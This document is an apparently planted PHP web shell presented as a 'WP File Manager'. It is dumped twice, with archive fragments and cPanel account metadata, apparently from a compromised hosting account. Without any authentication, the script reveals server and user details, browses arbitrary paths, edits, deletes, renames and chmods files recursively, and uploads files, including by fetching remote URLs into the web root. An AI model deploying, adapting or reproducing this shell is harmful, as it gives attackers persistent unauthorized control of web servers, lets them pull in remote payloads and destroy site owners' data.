highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]ß)‚ßBBinfo@originworks.art/.metadatanu„[µü¤[calendar] type VCALENDAR displayname cPanel CalDAV Calendar calendar-color #ff6c2c description Default Calendar automatically created for your account. protected 1 [addressbook] type VADDRESSBOOK description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 PK’&{]„N9³§Ë§Ëinfo@originworks.art/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

